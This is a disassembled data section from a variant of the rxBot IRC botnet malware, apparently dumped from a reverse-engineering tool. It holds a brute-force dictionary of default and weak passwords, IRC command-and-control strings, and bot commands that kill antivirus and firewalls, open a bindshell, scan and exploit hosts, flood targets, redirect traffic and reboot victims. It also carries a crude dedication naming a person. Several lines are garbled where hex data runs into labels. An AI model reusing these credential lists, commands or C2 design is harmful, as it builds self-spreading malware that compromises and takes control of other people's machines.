aDemo_0		db 'demo',0             ; DATA XREF: .XComp0:00441300o
		align 10h
aUnix_0		db 'unix',0             ; DATA XREF: .XComp0:00441304o
		align 4
aLinux_0	db 'linux',0            ; DATA XREF: .XComp0:00441308o
		align 10h
aChangeme_0	db 'changeme',0         ; DATA XREF: .XComp0:0044130Co
		align 4
aDefault_1	db 'default',0          ; DATA XREF: .XComp0:00441310o
aSystem_0	db 'system',0           ; DATA XREF: .XComp0:00441314o
		align 4
aServer_5	db 'server',0           ; DATA XREF: .XComp0:00441318o
		align 4
aRoot_2		db 'root',0             ; DATA XREF: .XComp0:0044131Co
		align 4
aNull_2		db 'null',0             ; DATA XREF: .XComp0:00441320o
		align 4
aQwerty_0	db 'qwerty',0           ; DATA XREF: .XComp0:00441324o
		align 4
aMail_0		db 'mail',0             ; DATA XREF: .XComp0:00441328o
		align 4
aOutlook_0	db 'outlook',0          ; DATA XREF: .XComp0:0044132Co
aWeb_0		db 'web',0              ; DATA XREF: .XComp0:00441330o
aWww_0		db 'www',0              ; DATA XREF: .XComp0:00441334o
aInternet_1	db 'internet',0         ; DATA XREF: .XComp0:00441338o
		align 10h
aAccounts_0	db 'accounts',0         ; DATA XREF: .XComp0:0044133Co
		align 4
aAccounting_0	db 'accounting',0       ; DATA XREF: .XComp0:00441340o
		align 4
aHome_0		db 'home',0             ; DATA XREF: .XComp0:00441344o
		align 10h
aHomeuser_0	db 'homeuser',0         ; DATA XREF: .XComp0:00441348o
		align 4
aUser_2		db 'user',0             ; DATA XREF: .XComp0:0044134Co
		align 4
aOem_0		db 'oem',0              ; DATA XREF: .XComp0:00441350o
aOemuser_0	db 'oemuser',0          ; DATA XREF: .XComp0:00441354o
aOeminstall_0	db 'oeminstall',0       ; DATA XREF: .XComp0:00441358o
		align 4
aWindows_0	db 'windows',0          ; DATA XREF: .XComp0:0044135Co
aWin98_0	db 'win98',0            ; DATA XREF: .XComp0:00441360o
		align 4
aWin2k_0	db 'win2k',0            ; DATA XREF: .XComp0:00441364o
		align 4
aWinxp_0	db 'winxp',0            ; DATA XREF: .XComp0:00441368o
		align 4
aWinnt_0	db 'winnt',0            ; DATA XREF: .XComp0:0044136Co
		align 4
aWin2000_0	db 'win2000',0          ; DATA XREF: .XComp0:00441370o
aQaz_0		db 'qaz',0              ; DATA XREF: .XComp0:00441374o
aAsd_0		db 'asd',0              ; DATA XREF: .XComp0:00441378o
aZxc_0		db 'zxc',0              ; DATA XREF: .XComp0:0044137Co
aQwe_0		db 'qwe',0              ; DATA XREF: .XComp0:00441380o
aBob_1		db 'bob',0              ; DATA XREF: .XComp0:00441384o
aJen_0		db 'jen',0              ; DATA XREF: .XComp0:00441388o
aJoe_0		db 'joe',0              ; DATA XREF: .XComp0:0044138Co
aFred_0		db 'fred',0             ; DATA XREF: .XComp0:00441390o
		align 10h
aBill_0		db 'bill',0             ; DATA XREF: .XComp0:00441394o
		align 4
aMike_0		db 'mike',0             ; DATA XREF: .XComp0:00441398o
		align 10h
aJohn_0		db 'john',0             ; DATA XREF: .XComp0:0044139Co
		align 4
aPeter_1	db 'peter',0            ; DATA XREF: .XComp0:004413A0o
		align 10h
aLuke_0		db 'luke',0             ; DATA XREF: .XComp0:004413A4o
		align 4
aSam_0		db 'sam',0              ; DATA XREF: .XComp0:004413A8o
aSue_0		db 'sue',0              ; DATA XREF: .XComp0:004413ACo
aSusan_0	db 'susan',0            ; DATA XREF: .XComp0:004413B0o
		align 4
aPeter_2	db 'peter',0            ; DATA XREF: .XComp0:004413B4o
		align 10h
aBrian_0	db 'brian',0            ; DATA XREF: .XComp0:004413B8o
		align 4
aLee_0		db 'lee',0              ; DATA XREF: .XComp0:004413BCo
aNeil_0		db 'neil',0             ; DATA XREF: .XComp0:004413C0o
		align 4
aIan_0		db 'ian',0              ; DATA XREF: .XComp0:004413C4o
aChris_0	db 'chris',0            ; DATA XREF: .XComp0:004413C8o
		align 10h
aEric_0		db 'eric',0             ; DATA XREF: .XComp0:004413CCo
		align 4
aGeorge_0	db 'george',0           ; DATA XREF: .XComp0:004413D0o
		align 10h
aKate_0		db 'kate',0             ; DATA XREF: .XComp0:004413D4o
		align 4
aBob_2		db 'bob',0              ; DATA XREF: .XComp0:004413D8o
aKatie_0	db 'katie',0            ; DATA XREF: .XComp0:004413DCo
		align 4
aMary_0		db 'mary',0             ; DATA XREF: .XComp0:004413E0o
		align 4
aLogin_1	db 'login',0            ; DATA XREF: .XComp0:004413E4o
		align 4
aLoginpass_0	db 'loginpass',0        ; DATA XREF: .XComp0:004413E8o
		align 10h
aTechnical_0	db 'technical',0        ; DATA XREF: .XComp0:004413ECo
		align 4
aBackup_0	db 'backup',0           ; DATA XREF: .XComp0:004413F0o
		align 4
aExchange_0	db 'exchange',0         ; DATA XREF: .XComp0:004413F4o
		align 10h
aFuck_0		db 'fuck',0             ; DATA XREF: .XComp0:004413F8o
		align 4
aBitch_0	db 'bitch',0            ; DATA XREF: .XComp0:004413FCo
		align 10h
aSlut_0		db 'slut',0             ; DATA XREF: .XComp0:00441400o
		align 4
aSex_0		db 'sex',0              ; DATA XREF: .XComp0:00441404o
aGod_0		db 'god',0              ; DATA XREF: .XComp0:00441408o
aHell_0		db 'hell',0             ; DATA XREF: .XComp0:0044140Co
		align 4
aHello_0	db 'hello',0            ; DATA XREF: .XComp0:00441410o
		align 10h
aDomain_0	db 'domain',0           ; DATA XREF: .XComp0:00441414o
		align 4
aDomainpass_0	db 'domainpass',0       ; DATA XREF: .XComp0:00441418o
		align 4
aDomainpasswo_0	db 'domainpassword',0   ; DATA XREF: .XComp0:0044141Co
		align 4
aDatabase_1	db 'database',0         ; DATA XREF: .XComp0:00441420o
		align 10h
aAccess_0	db 'access',0           ; DATA XREF: .XComp0:00441424o
		align 4
aDbpass_0	db 'dbpass',0           ; DATA XREF: .XComp0:00441428o
		align 10h
aDbpassword_0	db 'dbpassword',0       ; DATA XREF: .XComp0:0044142Co
		align 4
aDatabasepass_0	db 'databasepass',0     ; DATA XREF: .XComp0:00441430o
		align 4
aData_0		db 'data',0             ; DATA XREF: .XComp0:00441434o
		align 4
aDatabasepass_1	db 'databasepassword',0 ; DATA XREF: .XComp0:00441438o
		align 4
aDb1_0		db 'db1',0              ; DATA XREF: .XComp0:0044143Co
aDb2_1		db 'db2',0              ; DATA XREF: .XComp0:00441440o
aDb1234_0	db 'db1234',0           ; DATA XREF: .XComp0:00441444o
		align 4
aSa_0		db 'sa',0               ; DATA XREF: .XComp0:00441448o
		align 4
aSql_0		db 'sql',0              ; DATA XREF: .XComp0:0044144Co
aSqlpassoains_0	db 'sqlpassoainstall',0 ; DATA XREF: .XComp0:00441450o
		align 4
aOrainstall_0	db 'orainstall',0       ; DATA XREF: .XComp0:00441454o
		align 10h
aOracle_1	db 'oracle',0           ; DATA XREF: .XComp0:00441458o
		align 4
aIbm_0		db 'ibm',0              ; DATA XREF: .XComp0:0044145Co
aCisco_0	db 'cisco',0            ; DATA XREF: .XComp0:00441460o
		align 4
aDell_0		db 'dell',0             ; DATA XREF: .XComp0:00441464o
		align 4
aCompaq_0	db 'compaq',0           ; DATA XREF: .XComp0:00441468o
		align 4
aSiemens_0	db 'siemens',0          ; DATA XREF: .XComp0:0044146Co
aHp_0		db 'hp',0               ; DATA XREF: .XComp0:00441470o
		align 10h
aNokia_0	db 'nokia',0            ; DATA XREF: .XComp0:00441474o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: .XComp0:00441478o
		align 4
aControl_0	db 'control',0          ; DATA XREF: .XComp0:0044147Co
aOffice_0	db 'office',0           ; DATA XREF: .XComp0:00441480o
		align 4
aBlank_0	db 'blank',0            ; DATA XREF: .XComp0:00441484o
		align 4
aWinpass_0	db 'winpass',0          ; DATA XREF: .XComp0:00441488o
aMain_0		db 'main',0             ; DATA XREF: .XComp0:0044148Co
		align 4
aLan_0		db 'lan',0              ; DATA XREF: .XComp0:00441490o
aInternet_2	db 'internet',0         ; DATA XREF: .XComp0:00441494o
		align 4
aIntranet_0	db 'intranet',0         ; DATA XREF: .XComp0:00441498o
		align 10h
aStudent_1	db 'student',0          ; DATA XREF: .XComp0:0044149Co
aTeacher_1	db 'teacher',0          ; DATA XREF: .XComp0:004414A0o
aStaff_1	db 'staff',0            ; DATA XREF: .XComp0:004414A4o
		align 4
aSS_6		db '%s%s',0             ; DATA XREF: sub_4016A7+155o
		align 10h
aSS_7		db '%s\%s',0            ; DATA XREF: sub_4016A7+1E8o
		align 4
aSDS_0		db '%s %d "%s"',0       ; DATA XREF: sub_4016A7+319o
		align 4
dword_441A74	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: sub_4016A7:loc_401AB6o
		dd 2E646574h, 0
unk_441A90	db  2Dh	; -		; DATA XREF: sub_4016A7+456o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
unk_441AB4	db  2Dh	; -		; DATA XREF: sub_4016A7+4CAo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
dword_441AF4	dd 234032Dh, 6E656469h,	2036474haServerRunningO	db '- Server running on Port: 113.',0
		align 10h
dword_441B20	dd 234032Dh, 6E656469h,	2036474haFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
unk_441B54	db  2Dh	; -		; DATA XREF: sub_401DEC+144o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401FD0+53o
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401FD0+7Fo
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
asc_441B9C	db ' :',0               ; DATA XREF: sub_4021E5+9Ao
		align 10h
asc_441BA0:				; DATA XREF: sub_4021E5+CEo
		unicode	0, < >,0
asc_441BA4:				; DATA XREF: sub_4021E5+109o
		unicode	0, < >,0
asc_441BA8:				; DATA XREF: sub_4021E5+283o
		unicode	0, <!>,0
aPing		db 'PING',0             ; DATA XREF: sub_4021E5+29Co
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_4021E5+2BCo
		align 10h
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+2DAo
		align 10h
a001		db '001',0              ; DATA XREF: sub_4021E5+2F8o
a005		db '005',0              ; DATA XREF: sub_4021E5+30Eo
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+321o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+339o
		align 4
aJoinSS_4	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+34Fo
		align 4
a302		db '302',0              ; DATA XREF: sub_4021E5+377o
a@:					; DATA XREF: sub_4021E5+387o
		unicode	0, <@>,0
a433		db '433',0              ; DATA XREF: sub_4021E5+3CEo
aNickS_3	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_4021E5+3FAo
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_4021E5+464o
		align 4
unk_441C28	db  2Dh	; -		; DATA XREF: sub_4021E5+51Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User %s logged out.',0
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+53Do
aJoinSS_0	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+57Fo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_4021E5+59Do
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_4021E5+77Bo
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_4021E5+7C5o
		align 10h
aQuit		db 'QUIT',0             ; DATA XREF: sub_4021E5+7DBo
		align 4
unk_441C88	db  2Dh	; -		; DATA XREF: sub_4021E5+861o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User: %s logged out.',0
		align 4
aPart_0		db 'PART',0             ; DATA XREF: sub_4021E5+888o
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+8A7o
a353		db '353',0              ; DATA XREF: sub_4021E5+8CAo
unk_441CC8	db  2Dh	; -		; DATA XREF: sub_4021E5+8FDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: %s.',0
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_4021E5+917o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_4021E5+92Do
		align 4
a332		db '332',0              ; DATA XREF: sub_4021E5+943o
aPrivmsg_0	db 'PRIVMSG',0          ; DATA XREF: sub_4021E5+96Ao
aNotice_0	db 'NOTICE',0           ; DATA XREF: sub_4021E5+980o
		align 4
aNotice_1	db 'NOTICE',0           ; DATA XREF: sub_4021E5+99Ao
		align 4
asc_441D14:				; DATA XREF: sub_4021E5:loc_402BAAo
		unicode	0, <#>,0
dword_441D18	dd 52455601h, 4E4F4953h, 1dword_441D24	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_4021E5+AC0o
		dd 0D017325h, 0Ah
dword_441D40	dd 4E495001h, 47hdword_441D48	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_4021E5+B26o
		dd 0A0Dh
dword_441D60	dd 43434401h, 0	aSend_1		db 'SEND',0             ; DATA XREF: sub_4021E5+B91o
		align 10h
aS_27		db '%s',0               ; DATA XREF: sub_4021E5+BBFo
		align 4
aS_28		db '%s',0               ; DATA XREF: sub_4021E5+BE0o
		align 4
unk_441D78	db  2Dh	; -		; DATA XREF: sub_4021E5+C51o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
unk_441DA8	db  2Dh	; -		; DATA XREF: sub_4021E5+CE0o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartT	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
unk_441DE4	db  2Dh	; -		; DATA XREF: sub_4021E5+D0Ao
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_4021E5+D40o
		align 10h
aS		db '%s',0               ; DATA XREF: sub_4021E5+D7Eo
		align 4
unk_441E34	db  2Dh	; -		; DATA XREF: sub_4021E5+DE8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
unk_441E54	db  2Dh	; -		; DATA XREF: sub_4021E5+E77o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartC	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_441E8C	db  2Dh	; -		; DATA XREF: sub_4021E5+E94o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_441EBC	db  2Dh	; -		; DATA XREF: sub_4021E5+EB1o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
aLogin		db 'login',0            ; DATA XREF: sub_4021E5+F27o
		align 4
asc_441EF8:				; DATA XREF: sub_4021E5+F44o
		unicode	0, <l>,0
asc_441EFC:				; DATA XREF: sub_4021E5:loc_40315Eo
		unicode	0, <!>,0
asc_441F00:				; DATA XREF: sub_4021E5+FA6o
		unicode	0, <~>,0
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_4021E5+FEFo
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_4021E5+1006o
		align 4
unk_441F58	db  2Dh	; -		; DATA XREF: sub_4021E5+1022o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_4021E5+10BAo
		align 4
aNoticeSYourA_0	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_4021E5+10D1o
		align 4
unk_441FD8	db  2Dh	; -		; DATA XREF: sub_4021E5+10EDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
unk_442004	db  2Dh	; -		; DATA XREF: sub_4021E5+11B2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_442024	db  2Dh	; -		; DATA XREF: sub_4021E5+11CFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
a332_1		db '332',0              ; DATA XREF: sub_4021E5+11F9o
asc_442048	db ' :',0               ; DATA XREF: sub_4021E5+126Do
		align 4
aD		db '$%d-',0             ; DATA XREF: sub_4021E5+1306o
		align 4
aD_0		db '$%d',0              ; DATA XREF: sub_4021E5+143Co
aMe		db '$me',0              ; DATA XREF: sub_4021E5+14E1o
aUser_3		db '$user',0            ; DATA XREF: sub_4021E5+14F8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_4021E5+150Eo
		align 4
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_4021E5+1534o
		align 4
aServer_6	db '$server',0          ; DATA XREF: sub_4021E5+1547o
aChr		db '$chr(',0            ; DATA XREF: sub_4021E5:loc_40373Co
		align 4
aChr_0		db '$chr(',0            ; DATA XREF: sub_4021E5+156Eo
		align 10h
asc_442090:				; DATA XREF: sub_4021E5+159Eo
		unicode	0, <)>,0
a63		db '63',0               ; DATA XREF: sub_4021E5+15CBo
		align 4
asc_442098:				; DATA XREF: sub_4021E5+16B5o
		unicode	0, < >,0
asc_44209C:				; DATA XREF: sub_4021E5+16F0o
		unicode	0, < >,0
aRndnick	db 'rndnick',0          ; DATA XREF: sub_4021E5+174Fo
aRn		db 'rn',0               ; DATA XREF: sub_4021E5+176Co
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_4021E5:loc_403992o
		align 4
unk_4420B8	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_4039A6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
aDie		db 'die',0              ; DATA XREF: sub_4021E5+17E2o
aD_1:					; DATA XREF: sub_4021E5+17FFo
		unicode	0, <d>,0
a332_2		db '332',0              ; DATA XREF: sub_4021E5+1815o
aLogout		db 'logout',0           ; DATA XREF: sub_4021E5+1844o
		align 10h
aLo		db 'lo',0               ; DATA XREF: sub_4021E5+1861o
		align 4
unk_4420F4	db  2Dh	; -		; DATA XREF: sub_4021E5+18D9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_1	db 'User %s logged out.',0
unk_442114	db  2Dh	; -		; DATA XREF: sub_4021E5+1905o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 10h
unk_442140	db  2Dh	; -		; DATA XREF: sub_4021E5+1921o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_44216C	db  2Dh	; -		; DATA XREF: sub_4021E5+198Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_2	db 'User %s logged out.',0
aVersion	db 'version',0          ; DATA XREF: sub_4021E5+19EDo
aVer		db 'ver',0              ; DATA XREF: sub_4021E5+1A0Ao
dword_442198	dd 234032Dh, 6E69616Dh,	202D0302h, 7325haDedication	db 'dedication',0       ; DATA XREF: sub_4021E5+1A7Bo
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_4021E5+1A98o
unk_4421B8	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_403C8Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
aSecure		db 'secure',0           ; DATA XREF: sub_4021E5+1B03o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_4021E5+1B20o
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_4021E5+1B3Do
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_4021E5+1B5Ao
		align 4
aSecure_0	db 'secure',0           ; DATA XREF: sub_4021E5+1B7Bo
		align 10h
aSec_0		db 'sec',0              ; DATA XREF: sub_4021E5+1B98o
aSecuring	db 'Securing',0         ; DATA XREF: sub_4021E5+1C08o
		align 10h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_4021E5:loc_403DF9o
		align 4
dword_4422AC	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_4021E5+1C24o
		dd 2E6D6574h, 0
dword_4422C8	dd 234032Dh, 75636573h,	3026572haFailedToStar_0	db '- Failed to start secure thread, error: <%d>.',0
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_4021E5+1CEEo
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_4021E5+1D0Bo
		align 4
unk_442314	db  2Dh	; -		; DATA XREF: sub_4021E5+1DE7o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
unk_442340	db  2Dh	; -		; DATA XREF: sub_4021E5+1E96o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToStar_1	db ' Failed to start server thread, error: <%d>.',0
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_4021E5+1EB7o
		align 10h
aServer_1	db 'Server',0           ; DATA XREF: sub_4021E5+1ED6o
		align 4
dword_442398	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_4021E5+1EDBo
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_4021E5+1F0Fo
		align 4
aServer_2	db 'Server',0           ; DATA XREF: sub_4021E5+1F2Eo
		align 10h
dword_4423C0	dd 234032Dh, 676F6C72h,	2646E69h, 2D03haHttpstop	db 'httpstop',0         ; DATA XREF: sub_4021E5+1F67o
		align 4
aServer_3	db 'Server',0           ; DATA XREF: sub_4021E5+1F86o
		align 4
dword_4423E4	dd 234032Dh, 70747468h,	2D030264h, 0aLogstop	db 'logstop',0          ; DATA XREF: sub_4021E5+1FBFo
aLogList	db 'Log list',0         ; DATA XREF: sub_4021E5+1FDEo
		align 4
dword_442408	dd 234032Dh, 2676F6Ch, 2D03haRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_4021E5+2017o
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_4021E5+2036o
		align 4
dword_442434	dd 234032Dh, 69646572h,	74636572h, 2D0302hdword_442444	dd 736F6464h, 6F74732Eh, 70hdword_442450	dd 536F4444h, 6F6C6620h, 646Fhdword_44245C	dd 234032Dh, 736F6464h,	2D0302haTftpstop	db 'tftpstop',0         ; DATA XREF: sub_4021E5+20C7o
		align 4
aServer_4	db 'Server',0           ; DATA XREF: sub_4021E5+20E6o
		align 4
dword_44247C	dd 234032Dh, 70746674h,	2D030264h, 0aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_4021E5+211Fo
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_4021E5+213Co
		align 4
aFindFile	db 'Find file',0        ; DATA XREF: sub_4021E5+215Bo
		align 10h
dword_4424B0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302haProcsstop	db 'procsstop',0        ; DATA XREF: sub_4021E5+2194o
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_4021E5+21B1o
		align 4
aProcessList	db 'Process list',0     ; DATA XREF: sub_4021E5+21D0o
		align 4
dword_4424E4	dd 234032Dh, 636F7270h,	2D030273h, 0aClonestop	db 'clonestop',0        ; DATA XREF: sub_4021E5+2209o
		align 10h
aClone		db 'Clone',0            ; DATA XREF: sub_4021E5+2228o
		align 4
dword_442508	dd 234032Dh, 6E6F6C63h,	3027365h, 2DhaSecurestop	db 'securestop',0       ; DATA XREF: sub_4021E5+2261o
		align 4
aSecure_1	db 'Secure',0           ; DATA XREF: sub_4021E5+2280o
		align 4
dword_44252C	dd 234032Dh, 75636573h,	3026572h, 2DhaScanstop	db 'scanstop',0         ; DATA XREF: sub_4021E5+22B9o
		align 4
aScan_2		db 'Scan',0             ; DATA XREF: sub_4021E5+22D8o
		align 10h
dword_442550	dd 234032Dh, 6E616373h,	2D0302haScanstats	db 'scanstats',0        ; DATA XREF: sub_4021E5+2311o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_4021E5+232Eo
		align 10h
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_4021E5+236Ao
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_4021E5+2387o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_4021E5+23C3o
		align 4
aCbstats	db 'cbstats',0          ; DATA XREF: sub_4021E5+23E0o
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_4021E5+241Co
aExplist	db 'explist',0          ; DATA XREF: sub_4021E5+2439o
aReconnect	db 'reconnect',0        ; DATA XREF: sub_4021E5+2475o
		align 4
aR:					; DATA XREF: sub_4021E5+2492o
		unicode	0, <r>,0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4021E5:loc_404687o
		align 10h
dword_4425E0	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_4021E5+24B1o
		dd 676E6974h, 2Eh
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_4021E5+24D0o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_4021E5+24EDo
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4021E5:loc_4046E2o
		align 4
dword_442624	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_4021E5+250Co
		dd 6E697463h, 2E67h
aQuit_0		db 'quit',0             ; DATA XREF: sub_4021E5+252Co
		align 4
aQ:					; DATA XREF: sub_4021E5+2549o
		unicode	0, <q>,0
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+25A1o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_4021E5:loc_404798o
		align 4
aStatus		db 'status',0           ; DATA XREF: sub_4021E5+25D7o
		align 10h
aS_0:					; DATA XREF: sub_4021E5+25F4o
		unicode	0, <s>,0
unk_442674	db  2Dh	; -		; DATA XREF: sub_4021E5+2611o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
aId		db 'id',0               ; DATA XREF: sub_4021E5+2667o
		align 4
aI:					; DATA XREF: sub_4021E5+2684o
		unicode	0, <i>,0
dword_4426A8	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_4021E5+2699o
		dd 2E7325h
aReboot		db 'reboot',0           ; DATA XREF: sub_4021E5+26EFo
		align 4
unk_4426C8	db  2Dh	; -		; DATA XREF: sub_4021E5+2708o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
unk_4426E8	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_4048F9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
